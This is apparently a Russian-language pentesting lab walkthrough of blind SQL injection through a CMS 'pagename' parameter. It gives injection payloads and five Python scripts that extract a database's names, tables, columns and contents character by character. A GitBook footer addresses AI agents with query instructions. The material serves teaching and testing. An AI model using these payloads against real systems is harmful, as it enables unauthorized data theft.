> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-sql-injection-sqli/sqli-pagename-pentesting-web.md).

# SQL-инъекция через page name

## SQL-инъекция:

**Обнаружение уязвимости SQL-инъекции** Добавив апостроф в поле "home", появляется ошибка SQL, что указывает на возможную уязвимость к SQL-инъекции.

<figure><img src="/files/72e5e2797b3e0c24cb310c5b88ffabe7cf2144f9" alt=""><figcaption></figcaption></figure>

**Эксплуатация уязвимости SQL-инъекции** При введении SQL-инъекции `/cms.php?pagename=home' or '1'='1`, появляется ошибка, подтверждающая уязвимость.

<figure><img src="/files/c1f50b7753e13fdb6061b8cdd120f074d915f927" alt=""><figcaption></figcaption></figure>

**Извлечение имени базы данных с помощью SUBSTRING** Теперь, с этой точкой входа, мы используем **substring** параметр, чтобы найти символы имени базы данных, вводя буквы, пока ошибки не исчезнут. Вот пример для первых трёх символов:

* Первая буква: `/cms.php?pagename=home' or substring(database(),1,1)='a`
* Вторая буква: `/cms.php?pagename=home' or substring(database(),2,1)='d`
* Третья буква: `/cms.php?pagename=home' or substring(database(),3,1)='m` Сначала Python-скрипт может автоматизировать весь процесс, чтобы получить **имя базы данных**.

<pre class="language-python"><code class="lang-python"><strong>#!/usr/bin/python3
</strong>from pwn import *
import requests, signal, sys, time, string
def def_handler(sig, frame):
    print("/n/n[!] Выход.../n")
    sys.exit(1)

#Ctrl +c

signal.signal(signal.SIGINT, def_handler)

#Глобальные переменные

characters = string.ascii_lowercase
main_url = "http://192.168.71.140/imfadministrator/cms.php?pagename="
def sqli():
    headers = {
        'Cookie': 'PHPSESSID=g2dt1a46m4f3qmgnfcuev3qts3'
    }
    data = ""
    p1 = log.progress("SQLI")
    p1.status("Начало SQL-инъекции...")
    time.sleep(2)
    p2 = log.progress("Данные")
    for position in range(1, 6 ):
        for character in characters:
            sqli_url = main_url + "home' or substring(database(),%d,1)='%s" % (position, character)
            r = requests.get(sqli_url, headers=headers)
            if "Welcome to the IMF Administration." not in r.text:
                data += character
                p2.status(data)
                break
    p1.success("Перебор SQLI завершён")
    p2.success(data)
if __name__ == '__main__':
    sqli()
</code></pre>

<figure><img src="/files/ef236f4b8c3d562dc2ff447dec2d5dab0cceb693" alt=""><figcaption></figcaption></figure>

Затем Python-скрипт для автоматизации всего процесса, чтобы **получить имена** всех баз данных.

```python
#!/usr/bin/python3
from pwn import *
import requests, signal, sys, time, string
def def_handler(sig, frame):
    print("/n/n[!] Выход.../n")
    sys.exit(1)
#Ctrl +c
signal.signal(signal.SIGINT, def_handler)
#Глобальные переменные
characters = string.ascii_lowercase + "_,:" + string.digits
main_url = "http://192.168.71.140/imfadministrator/cms.php?pagename="
def sqli():
    headers = {
        'Cookie': 'PHPSESSID=g2dt1a46m4f3qmgnfcuev3qts3'
    }
    data = ""
    p1 = log.progress("SQLI")
    p1.status("Начало SQL-инъекции...")
    time.sleep(2)
    p2 = log.progress("Данные")
    for position in range(1, 100):
        for character in characters:
            sqli_url = main_url + "home' or substring((select group_concat(schema_name) from information_schema.schemata),%d,1)='%s" % (position, character)
            r = requests.get(sqli_url, headers=headers)
            if "Welcome to the IMF Administration." not in r.text:
                data += character
                p2.status(data)
                break
    p1.success("Перебор SQLI завершён")
    p2.success(data)
if __name__ == '__main__':
    sqli()

```

<figure><img src="/files/ea0f8aa5e70d5639bf83305d3865a498dc674822" alt=""><figcaption></figcaption></figure>

Теперь Python-скрипт для автоматизации всего процесса, чтобы **получить имена таблиц** баз данных (admin).

```python
#!/usr/bin/python3
from pwn import *
import requests, signal, sys, time, string
def def_handler(sig, frame):
    print("/n/n[!] Выход.../n")
    sys.exit(1)
#Ctrl +c
signal.signal(signal.SIGINT, def_handler)
#Глобальные переменные
characters = string.ascii_lowercase + "_,:" + string.digits
main_url = "http://192.168.71.140/imfadministrator/cms.php?pagename="
def sqli():
    headers = {
        'Cookie': 'PHPSESSID=g2dt1a46m4f3qmgnfcuev3qts3'
    }
    data = ""
    p1 = log.progress("SQLI")
    p1.status("Начало SQL-инъекции...")
    time.sleep(2)
    p2 = log.progress("Данные")
    for position in range(1, 100):
        for character in characters:
            sqli_url = main_url + "home' or substring((select group_concat(table_name) from information_schema.tables where table_schema='admin'),%d,1)='%s" % (position, chara
cter)
            r = requests.get(sqli_url, headers=headers)
            if "Welcome to the IMF Administration." not in r.text:
                data += character
                p2.status(data)
                break
    p1.success("Перебор SQLI завершён")
    p2.success(data)
if __name__ == '__main__':
    sqli()

```

<figure><img src="/files/2b813801f02040f3ce1ad184c98b55d14512a426" alt=""><figcaption></figcaption></figure>

Теперь Python-скрипт для автоматизации всего процесса, чтобы **получить имена столбцов** баз данных (admin).

```python
#!/usr/bin/python3
from pwn import *
import requests, signal, sys, time, string
def def_handler(sig, frame):
    print("/n/n[!] Выход.../n")
    sys.exit(1)
#Ctrl +c
signal.signal(signal.SIGINT, def_handler)
#Глобальные переменные
characters = string.ascii_lowercase + "_,:" + string.digits
main_url = "http://192.168.71.140/imfadministrator/cms.php?pagename="
def sqli():
    headers = {
        'Cookie': 'PHPSESSID=g2dt1a46m4f3qmgnfcuev3qts3'
    }
    data = ""
    p1 = log.progress("SQLI")
    p1.status("Начало SQL-инъекции...")
    time.sleep(2)
    p2 = log.progress("Данные")
    for position in range(1, 100):
        for character in characters:
            sqli_url = main_url + "home' or substring((select group_concat(column_name) from information_schema.columns where table_schema='admin' and table_name='pages'),%d,1
)='%s" % (position, character)
            r = requests.get(sqli_url, headers=headers)
            if "Welcome to the IMF Administration." not in r.text:
                data += character
                p2.status(data)
                break
    p1.success("Перебор SQLI завершён")
    p2.success(data)
if __name__ == '__main__':
    sqli()

```

<figure><img src="/files/8ab8b780d201e93dbb824bf2983b5d489125f0c6" alt=""><figcaption></figcaption></figure>

Теперь Python-скрипт для автоматизации всего процесса, чтобы **получить содержимое** столбца pagename баз данных (admin).

```python
#!/usr/bin/python3
from pwn import *
import requests, signal, sys, time, string
def def_handler(sig, frame):
    print("/n/n[!] Выход.../n")
    sys.exit(1)
#Ctrl +c
signal.signal(signal.SIGINT, def_handler)
#Глобальные переменные
characters = string.ascii_lowercase + "$%-/_,;:" + string.digits
main_url = "http://192.168.71.140/imfadministrator/cms.php?pagename="
def sqli():
    headers = {
        'Cookie': 'PHPSESSID=g2dt1a46m4f3qmgnfcuev3qts3'
    }
    data = ""
    p1 = log.progress("SQLI")
    p1.status("Начало SQL-инъекции...")
    time.sleep(2)
    p2 = log.progress("Данные")
    for position in range(1, 500):
        for character in characters:
            sqli_url = main_url + "home' or substring((select group_concat(pagename) from pages),%d,1)='%s" % (position, character)
            r = requests.get(sqli_url, headers=headers)
            if "Welcome to the IMF Administration." not in r.text:
                data += character
                p2.status(data)
                break
    p1.success("Перебор SQLI завершён")
    p2.success(data)
if __name__ == '__main__':
    sqli()

```

<figure><img src="/files/979acf805c7f7abdb6ca06bbf63114975f098547" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-sql-injection-sqli/sqli-pagename-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
